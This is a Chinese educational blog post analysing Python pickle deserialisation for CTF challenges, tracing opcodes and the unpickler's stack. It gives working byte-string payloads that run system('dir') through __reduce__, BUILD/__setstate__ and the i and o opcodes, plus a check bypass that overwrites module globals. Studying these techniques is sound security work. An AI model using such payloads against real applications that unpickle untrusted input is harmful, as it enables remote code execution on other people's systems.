python pickle反序列化分析

news2024/11/18 1:50:30

文章目录

  • 前言
  • Pickle的作用
  • pickle反序列化
  • pickletools和反序列化流程
  • 漏洞产生(__reduce__)
  • R指令的绕过
    • 通过i和o指令触发
  • 总结


前言

春秋杯中遇到了一道python题,使用的了numpy.loads()触发反序列化漏洞,百度学习了一下,发现numpy.load()会先以numpy将数据格式导入,假如失败,则会尝试以pickle的格式导入,因为一样可以触发反序列化漏洞。之前一直只简单了解过pickle反序列化,今天详细的学习了一下,有了更深的了解,记录一下。

Pickle的作用

  1. pickle包是python用于进行反序列化和序列化的,用c进行编写,因此运行速度效率非常高。Python还有其它的一些序列号库如PyYAML、Shelve等,但是都存在由于编码不恰当导致的反序列化漏洞。
  2. 在编程语言中,各类语言要存储一些复杂的内容,比如对象,数组,列表等,以便随时写和取,会是一件比较麻烦的事情。因此都会想办法将这些复杂的东西如对象序列化成易于存储和导出的东西,就比如Pickle会将其存储为一串字符串,然后取出的时候将字符串还来即可。

例子:

import pickle


class B():
    def __init__(self, num, passwd):
        self.num = num
        self.passwd = passwd


x = B('123', 'password')
print(pickle.dumps(x, protocol=0))
print(pickle.dumps(x, protocol=2))
print(pickle.dumps(x, protocol=3))
print(pickle.dumps(x))
# b'ccopy_reg\n_reconstructor\np0\n(c__main__\nB\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVnum\np6\nV123\np7\nsVpasswd\np8\nVpassword\np9\nsb.'
# b'\x80\x02c__main__\nB\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00numq\x03X\x03\x00\x00\x00123q\x04X\x06\x00\x00\x00passwdq\x05X\x08\x00\x00\x00passwordq\x06ub.'
# b'\x80\x03c__main__\nB\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00numq\x03X\x03\x00\x00\x00123q\x04X\x06\x00\x00\x00passwdq\x05X\x08\x00\x00\x00passwordq\x06ub.'
# b'\x80\x04\x95:\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x01B\x94\x93\x94)\x81\x94}\x94(\x8c\x03num\x94\x8c\x03123\x94\x8c\x06passwd\x94\x8c\x08password\x94ub.'



可以看到通过dumps()打包后的对象存储为的字符串看上去十分复杂。目前pickle有四个版本0,2,3,4,5不同的版本中存储的结果都不相同,这里默认是最高4版本,一般0号版本更易于人类阅读。2号版本与3号版本差别很小,4号版本多了一些东西,但是本质上没有太大改动,并且pickle对不同的版本都是兼容的,无论是上面版本,通过pickle.loads()都能够进行还原。

pickle反序列化

pickle.loads()即pickle反序列化,调用的是底层的_Unpickler类。
file

从源码可以看出load和loads的区别,load()能够用于在文件解析序列化的信息,而loads()则是用于从序列化字节流中解析对象信息,但是无论是那个,最终都丢给了_Unpickler.load()进行反序列化的处理。

至于Unpickler在反序列化的过程中,究竟在干些什么事情,可以从它的源码中简略知道,它主要用于维护栈和存储区,栈是核心的数据结构,所有的数据结构几乎都在栈中,当前栈主要维护栈顶的信息,而前须栈用于维护下层信息。存储区相当于内存,用于存储变量,是数组,以下标为索引每一个单元存储东西。

pickletools和反序列化流程

pickletools是python自带的pickle调试器,通过pickletools可以很清楚的看到pickle编译一个字符串的完整过程,利用它可以更加清晰的了解pickle是如何对字符串进行解析的,以上面代码为例子:

file

    0: \x80 PROTO      4
    2: \x95 FRAME      58
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'B'
   25: \x94 MEMOIZE    (as 1)
   26: \x93 STACK_GLOBAL
   27: \x94 MEMOIZE    (as 2)
   28: )    EMPTY_TUPLE
   29: \x81 NEWOBJ
   30: \x94 MEMOIZE    (as 3)
   31: }    EMPTY_DICT
   32: \x94 MEMOIZE    (as 4)
   33: (    MARK
   34: \x8c     SHORT_BINUNICODE 'num'
   39: \x94     MEMOIZE    (as 5)
   40: \x8c     SHORT_BINUNICODE '123'
   45: \x94     MEMOIZE    (as 6)
   46: \x8c     SHORT_BINUNICODE 'passwd'
   54: \x94     MEMOIZE    (as 7)
   55: \x8c     SHORT_BINUNICODE 'password'
   65: \x94     MEMOIZE    (as 8)
   66: u        SETITEMS   (MARK at 33)
   67: b    BUILD
   68: .    STOP
highest protocol among opcodes = 4

可以看到反编译出来的过程有很多\x这样奇奇怪怪的字符,在pickle源码中可以十分清晰的看到这些字符代表的不同的含义,并且不同的版本会有不一样的字符。

file

那么这些操作符究竟代表着什么意思,机器看到这些操作符又会进行怎么样的操作呢,下面就来一条一条指令的解读分析一下。

  1. 首先读取到字符串的第一个字节即\x80,这个操作符在版本2中被假如,用于辨别pickle对应的版本信息,读取到\x80后会立即读取\x04,代表着是依据4版本pickle序列化的字符串。

  2. 随后继续读取下一个字符\x95和\x58,这是在pickle4后引入的新概念,与具体的功能无关,用于某些情况下进行性能的优化,\x95表示引入了一个新的帧,58表示这个帧的大小为58字节,但是这个58是放到8字节里面作为32字节存储的,因此在序列化后会有多的\x00

  3. 读取\x8c,表示将一个短的字符压入栈中,这个字符就是后面读取的_main_

  4. \x94表示将刚才读取的短字符__main__即当前栈顶的数据暂存到一个列表中,而这个列表被叫做memo,通过组合使用memo和栈扩大功能

  5. 随后继续读取\x94和\x01B即压入一个短字符即空对象B入栈顶,将栈顶暂时存储到列表memo中。

  6. 再读取\x93,表示某个堆栈,可以GLOBAL操作符根据名称读取堆栈中的变量

  7. 车轮继续向前,读取到)操作符,表示把一个空的tuple压入当前栈中,处理完这个操作符后会遇到\x81,表示从栈中弹出一个元素,记为args,再弹出一个元素记为cls,接下来执行cls._new_(cls,*args),简单来说就是利用栈中弹出的一个参数和一个类,通过参数对类进行实例化,然后将类压入栈中,这里指的就是被实例化的B对象,目前是一个空对象。

  8. 继续分析读到了},表示将空的dict字典压入栈中,然后遇到MARK操作符,这个mark操作符干的事情被称为load_mark:

file

从代码可以看出它操作是,把当前栈作为整体即作为list,压入到前序栈中,然后把当前栈清空,至于为何存在前序栈和当前栈两部分,正如前面所说前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件。

有load_mark,自然会有pop_mark(),用于与它相反的操作。
file

记录当前栈的信息,返回,并弹出前序栈的栈顶覆盖当前栈,因此可知,load_mark()和pop_mark()主要用于两个栈之间进行不同的切换,用于栈管理。

  1. 随后则是继续指定读取字符串并压入栈中存储起来的操作,分别进行了四次,当前栈的顶到顶分别为num,123,passwd,password,而前序栈只有一个元素,则是我们是空B实例和一个空的dict。

  2. 继续往下走,遇到了u操作符,它主要用于给实例赋值操作,详细过程如下:

(1)调用pop_mark,将当前栈的内容记录起来,然后将将前序栈覆盖掉当前栈,即执行完后,会有一个item=[num,123,passwd,password],当前栈存放的则是空B实例和空dict。

(2)拿到当前栈的末尾元素,即那个空的dict,两个一组的读取item里面的元素,前者作为key后者作为value,则此时空的dict变为{‘num’:‘123’,‘passwd’:‘password’},所以当前栈存放的就是空B实例和这个字典

  1. 车轮继续向前,遇到了b字符即build指令,它将当前栈存进state然后弹掉,将当前栈的栈顶记为inst,弹掉,利用state的值更新实例inst,简单来说就是通过dict中的数据实例化B对象的值。

file

从代码中可以看到,如果inst中拥有__setstate__方法,则会将state交给setstate()方法进行处理,否则就将inst中的内容,通过遍历的方法,将state的内容合并到inst_dict字典中。

  1. 最后全部做完后,当前栈就剩下了完整的B实例,然后读取下一个.指令代表着STOP,即反序列化结束。

漏洞产生(reduce)

简单了解了pickle反序列化的大概原理和流程,下面就可以分析下漏洞产生的原理。在CTF比赛中,pickle反序列化大多数都可以直接利用__reduce__方法,可以通过__reduce__构造恶意的字符串,从而在被反序列化的时候,导致__reduce__被执行,从而操作RCE。我们以下面代码为例:

import os
import pickle
import pickletools

class B():
    def __init__(self, num, passwd):
        self.num = num
        self.passwd = passwd
    def __reduce__(self):
        return (os.system,('dir',))

# x = B('123', 'password')
# payload=pickle.dumps(x)
# print(payload)
# pickletools.dis(payload)
pickle._loads(b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.')


首先可以确定的是,代码可以触发RCE导致dir命令的执行。

file

从源码中可以看到,__reduce__方法实际上对应的指令码是R:
file
file

对反序列化的过程进行调试,会发现它进入了load_reduce()方法,从此方法不难发现原因
file

此函数即R指令码对应的函数,它做的操作主要是将栈顶标记位args,然后取当前栈栈顶的元素标记位func,然后以args为参数,执行函数func,再把结果压进了当前栈中,即func对应例子中的system,而*args对应的是dir,导致了RCE。

R指令的绕过

很显然的一件事情就是__reduce__函数之所以能够达到RCE,原因是R操作码对应的方法load_reduce()的不恰当所产生的,那么我们只要把操作码R给过滤掉,__reduce__导致的RCE显然就不能够继续执行,那么该如何进行绕过呢,那么就得把目标放在其它方向的操作码中,就比如我们的C指令操作码,主要用于通过find_class方法获得一个全局变量。

file

我们以下方的代码为例:

file

import pickle, base64
import A   

class B():
    def __init__(self, num, passwd):
        self.num = num
        self.passwd = passwd

    def __eq__(self,other):
        return type(other) is B and self.passwd == other.passwd and self.num == other.num

def check(data):
    if (b'R' in data):
        return 'NO REDUCE!!!'
    x = pickle.loads(data)
    if (x != B(A.num, A.passwd)):
        return 'False!!!'
    print('Now A.num == {} AND A.passwd == {}.'.format(A.num, A.passwd))
    return 'Success!'

print(check(base64.b64decode(input())))


题中禁用了R指令,可以通过C指令完成简单的登录绕过功能,此处A文件中随意设置一个num和passwd

  1. 我们首先来看看一个正常B类进行序列化后的效果
    file

可以看到序列化后的结果为

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(\x8c\x03numK\x01\x8c\x06passwd\x8c\x05aiwinub.'

将序列化的结果稍微进行改动,将26和39对应的K指令码改为C的指令码,这里的K指令码表示将1字节的无符号整形数据压入栈中,就可以实现登录绕过。

file

可以看到改动后的指令将26和44变成了c指令引用全局变量,即上面A类中的变量实现了绕过。

file

这里的C指令主要基于find_class方法进行全局变量的寻找,假如find_class被重写,只允许c指令包含__main__这个module,该如何绕过。

由于GLOBAL指令引入的变量,是在原变量中的引用,在栈中修改它的值,会导致原变量的值也被修改,因此就可以做以下操作:

(1)通过_main_.A引入这个module
(2)把一个dict压进栈中,其内容为{‘num’: 6, ‘passwd’: ‘123456’}
(3)执行b指令,其作用是修改__dict__中的内容,在_main_.A.num和_main_.A.passwd中的内容已经被修改了
(4)将栈清空,也就是弹掉栈顶
(5)照抄正常的B序列化之后的字符串,压入一个正常的B对象,num和passwd分别为6和123456即可通过。

接下来就是修改,首先将原来得到的值进行一定的修改

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(\x8c\x03numK\x01\x8c\x06passwd\x8c\x05aiwinub.'

首先要引入_main_.A这个module,并将一个dict压入栈中b’\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08_main_\x8c\x01B\x93)变为b’\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00c_main_\nA\n}

随后将栈清空,将压入正常的B,
\x81}(\x8c\x03numK\x01\x8c\x06passwd\x8c\x05aiwinub.‘变为(Vnum\nK\x06Vpasswd\nV123456\nub0c_main_\nB\n)\x81}(\x8c\x03numK\x06\x8c\x06passwd\x8c\x06123456ub.’

完整的payload为

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)\x81}(\x8c\x03numK\x06\x8c\x06passwd\x8c\x06123456ub.'

file
可以看到确实绕过成功
file

简单来说就是先将A压入栈中,并传入设定好的dict()字典,这样A的值也会被改变,随后再清空栈,压入与A相同的B类的值即可完成绕过。

像以上这种只是通过全局变量来进行绕过,那么有没有可能在不出现R指令的情况下进行命令执行呢,上面我们说过BUILD指令在load_build函数中,假如inst拥有__setstate__方法,则将state交给__setstate__方法来处理,否则会将其合并到dict中。也就是说,我们可以将__setstate__造为os.system()等命令执行函数,然后将state变为要执行的命令,依旧能够达到命令执行的效果。

file

我们依旧拿原来得到的序列化串进行修改,在B类实例化中添加__setstate__的值为os.system,然后再压入要执行的命令即可,修改后的payload为

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'

file

传入这个payload,首先stack弹出栈顶即为将state值赋为__setstate__这个字典,然后进入state的字典循环,将弹出的key即__setstate__和value即system合并到inst_dict中,到第二次循环时,inst就能够取到__setstate__的值,然后此时stack为B实例化对象列表,弹出的值为dir,然后就会进入setstate(state)执行system(dir)

可以看到命令执行是成功的,这里报错是因为没有给B实例实例化值,但是不妨碍命令的执行。
file

通过i和o指令触发

观察i指令所使用到的函数,i指令主要用于BUILD和push一个实例化的类,主要依赖于函数find_class(),与它相关函数如下:
file

file

file

可以看到在load_inst()函数中会调用_instantiate()方法,而_instantiate()动态的实例化了一个类,假如令kclass为system,然后令*arg为我们要执行的命令,也可以触发RCE,而pop_mark()则是前序栈中的值赋给当前栈并获取当前栈的内容。

依旧使用以上的payload进行修改:

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(Vdir\nios\nsystem\n0c__main__\nB\n)b.'

file

简单来说,通过i指令将os.system推入inst,进而使得find_class(os,system)找到kclass为os.system(),然后再通过pop触发pop_mark()获取前序栈的dir内容,进入实例化类后变成了system(dir)触发了命令执行

file

命令执行成功
file

同理o指令也可以,o指令也是可以用于实例化一个类,与它相关的函数为:
file
file

这里同样也是控制__instantiate()函数的参数和类名,不同的是这里的类名和参数都由当前栈中弹出,因此可直接将os.system和dir一起压入栈中,经过Pop_mark()后返回的就是一个system和dir的列表,随后cls经过pop(0)弹出的是先进的system,剩下的栈即args就为dir。进而触发RCE

修改payload为如下:

b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(cos\nsystem\nX\x03\x00\x00\x00diro0b.'

file

file

命令执行成功
file

总结

这么一看其实pickle能利用触发RCE的指令挺多的,要理解这些RCE是如何触发的,主要需要弄清楚pickle在反序列化的时候流程是怎么样的,各种栈的操作是如何的,然后通过栈的出控制某些函数的参数达到RCE的效果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/546451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【mysqlbinlog 恢复数据】

不小心把数据删掉了 首先要拿到binlog文件 命令行执行 /usr/local/mysql/bin/mysqlbinlog --base64-outputdecode-rows --start-datetime"2023-05-19 09:01:32" --stop-datetime"2023-05-19 09:01:35" -v /Users/zylong/Downloads/mysql-bin.003178 --re…

动态规划-状态机模型

大盗阿福 题目 链接:https://www.acwing.com/problem/content/1051/ 阿福是一名经验丰富的大盗。趁着月黑风高,阿福打算今晚洗劫一条街上的店铺。 这条街上一共有 N N N 家店铺,每家店中都有一些现金。 阿福事先调查得知,只…

chatgpt赋能Python-python3_9怎么下载

Python 3.9: 从哪里下载以及如何安装 Python是一种高级编程语言,被广泛使用于数据科学、人工智能、Web开发等领域。Python的最新版本是Python 3.9,它带来了一些新的特性和改进。对于那些希望尝试Python 3.9的人来说,了解如何下载和安装是很重…

chatgpt赋能Python-python3下载文件

Python3下载文件:从入门到实践 在Python编程语言中,下载文件是一个常见的需求。无论你是想下载图片、视频、文本文件或者其他类型的文件,Python都提供了强大的工具来实现这一操作。在本文中,我们将深入探讨如何使用Python3来下载…

pwn入门(二)环境搭建

一.前言 在上一篇中介绍了一下pwn和一些前置知识,但是呢以我的感觉,我觉得ctf还是得多做题的,所以呢,我选择边做边学,我觉得这样可以快速熟悉pwn还可以有成就感。 这一篇就是搭建环境的分享,同时还有大佬告…

【问题记录】USB monitor抓包工具显示音频数据CRC error

一,简介 在进行UAC2.0调试的过程中,使用USB monitor抓包工具抓取音频流数据出现数据错乱现象,本文对该问题进行分析记录。 二,问题记录及分析过程 2.1 先看下正常的抓包数据是什么样子: 从上图可以看出,…

VMware ESXi 6.0 多网卡接入 多网段绑定 虚机接入不同网段

网卡要与对应网段的网络联通。不同的网卡接入不同网段的网络。要为vmware esxi 6 的多个虚机配置不同网段的ip地址,首先选择主机对应的网口分别插上处于在不同网段的网线。 配置管理网络 多个网口接入,只可以配置一个管理网络,就是只有一个网…

基于XGBOOST模型预测货物运输耗时 - Part 2 通过方差分析了解文本型变量与数值型目标变量的关系

在分析数据之前,我们需要剔除异常值的影响,也就是在某个分组情况下,标准差过大(标准差越大,证明情况越不稳定),如果标准差比较小,就算是最小值和最大值差的比较大,我也认…

chatgpt赋能Python-python3下载numpy包

Python3 下载numpy包教程 如果你是一名Python开发者,那你一定不会陌生于NumPy。NumPy是Python中的一个科学计算库,它主要用来处理数组和矩阵运算。本文将会教你如何在Python3中下载NumPy库。 步骤一:确认你已经安装了pip 如果你使用的是Py…

chatgpt赋能Python-python3__2__3

Python323 - 一个强大的编程工具 介绍 Python323 是一种高级编程语言,最初由 Guido van Rossum 在 1989 年创建。Python 3.2.3 是 Python 3 的其中一个发行版,它拥有很多新特性和改进。Python323 可以运行在多种操作系统上,包括 Windows、L…

redis哨兵监控leader和master选举原理

当一个主从配置中的master失效后,sentinel可以选举出一个新的master,用于自动接替原master的工作,主从配置中的其他redis服务器自动指向新的master同步数据。是如何具体做的呢,主要有以下4步。 一般建议sentinel 采取奇数台. 1.SDown 主观下…

Day43【动态规划】1049.最后一块石头的重量 II、494.目标和、474.一和零

1049.最后一块石头的重量 II 力扣题目链接/文章讲解 视频讲解 还是需要转化为 0-1 背包问题:物品装入背包,求装入的最大价值(每个物品至多装入一次) 要把01背包问题套到本题上来,需要确定 背包容量物品价值物品重…

分布式消息中间件RocketMQ的应用

RocketMQ 应用 所有代码同步至GitCode:https://gitcode.net/ruozhuliufeng/test-rocketmq.git 普通消息 消息发送分类 ​ Producer对于消息的发送方式也有多种选择,不同的方式会产生不同的系统效果。 同步发送消息 ​ 同步发送消息是指,P…

Win11或Win10重置电脑提示“找不到恢复环境”

想要重置电脑缺提示找不到恢复环境 查看是否开启功能 按住“winx”选A管理员运行终端,输入reagentc /info。 如果信息结果如下: Windows RE 状态: DisabledWindows RE 位置:引导配置数据(BCD)标识符: cedd8faa-707a-11ed-ad72-a8056da9f4d6…

头歌计算机组成原理实验—运算器设计(3)第3关:4位快速加法器设计

第3关:4位快速加法器设计 实验目的 帮助学生掌握快速加法器中先行进位的原理,能利用相关知识设计4位先行进位电路,并利用设计的4位先行进位电路构造4位快速加法器,能分析对应电路的时间延迟。 视频讲解 实验内容 利用前一步设…

Learning C++ No.23【红黑树封装set和map】

引言 北京时间:2023/5/17/22:19,不知道是以前学的不够扎实,还是很久没有学习相关知识,对有的知识可以说是遗忘了许多,以该篇博客有关知识为例,我发现我对迭代器和模板的有关知识的理解还不够透彻&#xff…

音视频源码调试前准备vs2019+qt5.15.2搭建可调试环境

安装vs2019qt,并且在windows环境上安装ffmpeg,尝试使用qtcdb进行调试,尝试使用vs2019加载qt的程序。 安装VS20195.12.2qt环境,并进行测试。 1:安装Visual Studio 2019, a.从官网下载,或者vs2019社区版本下载地址 ht…

SNAP软件处理Sentinel-2 L2A数据为hdr或者tif文件

1.打开Sen2Cor插件处理好的或者下载好的L2A文件 若不知道如何将下载的L1C数据处理为L2A级数据可查看该篇博文 Sentinel-2数据下载及处理_dropoutgirl的博客-CSDN博客 在Bands文件夹下少了B10波段栅格文件: 这主要是因为波段10是卷云波段,需要的大气顶部&#xff0…

顺序表之线性表(难度:✨)

1.线性表 线性表呈现出一条线性,用指针把一块一块的内存连接起来。 其余还有树型结构,哈希结构,图结构。 线性表分为: 顺序表链表栈队列字符串 1.2顺序表 顺序表就是数组,但在数组的基础上,从头开始存。…

地下车库CO传感器报警系统

前言 在现代城市中,地下车库已经成为了不可或缺的交通设施。然而,在地下车库中,由于车辆尾气等因素,很容易出现CO中毒的风险,给车库内的人员带来威胁。本文将对地下车库CO传感器报警系统进行介绍和分析,包…